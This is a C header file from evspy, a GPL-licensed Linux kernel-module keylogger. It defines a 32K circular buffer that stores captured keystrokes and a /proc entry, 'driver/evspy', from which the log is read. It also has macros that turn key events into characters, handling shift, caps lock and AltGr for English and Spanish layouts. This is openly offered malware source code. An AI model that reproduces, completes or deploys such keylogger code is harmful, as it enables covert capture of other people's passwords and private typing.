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/*
* evspy - event based keylogger (Linux module)
*
* Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
* based on evbug module by Vojtech Pavlik ((c) 1999-2001)
*
* This file is part of evspy
*
* evspy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* evspy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with evspy. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef _EVSPY_H
#define _EVSPY_H
#include <linux/cred.h>
#include <linux/init.h>
#include <linux/input.h>
#include <linux/kfifo.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/stat.h>
#include <linux/string.h>
#include <asm/page.h>
#include "kmap/kmap.h"
// Keyboard layouts
#define EVS_KLAY_EN 0
#define EVS_KLAY_ES 1
#define EVS_NAME "evspy" // driver name
#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout
#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_BUFSIZE (1<<15) // 32K // size of the circular buffer
#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc
#include "maps/maps.h"
// Event values
#define EVS_VAL_FREE 0
#define EVS_VAL_PRESS 1
#define EVS_VAL_HOLD 2
#define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z')
/*
* Insert character c into the circular buffer pointed by fifop
*/
#define evs_insert(fifop, c) \
({ \
if (kfifo_is_full(fifop)) \
kfifo_skip(fifop); \
kfifo_put((fifop), c); \
})
/*
* Is the c event code associated to any of the FX buttons?
*/
#define evs_isfX(c) \
({ \
((c) >= KEY_F1 && (c) <= KEY_F10) || \
((c) == KEY_F11 || (c) == KEY_F12) || \
((c) >= KEY_F13 && (c) <= KEY_F24); \
})
/*
* Returns the character associated with event code c when shift is pressed
*/
#define evs_shift(c) \
({ \
void *__vp; \
char __c; \
if ((shift_on != capslock_on) && is_ascii(c)) { \
__c = map[c] + ('A'-'a'); \
} else if (is_ascii(c) || !shift_on) { \
__c = map[c]; \
} else { \
if ((__vp = kmap_get(skm, (c)))) \
__c = *(char *)__vp; \
else \
__c = map[c]; \
} \
&__c; \
})
/*
* Returns the character associated with event code c when altgr is pressed
*/
#ifdef EVS_ALTGR_ENABLED
#define evs_altgr(c) \
({ \
void *__vp; \
char __c; \
__vp = kmap_get(akm, (c)); \
if (__vp) __c = *(char *)__vp; \
else __c = map[c]; \
&__c; \
})
#endif
#endif /* _EVSPY_H */
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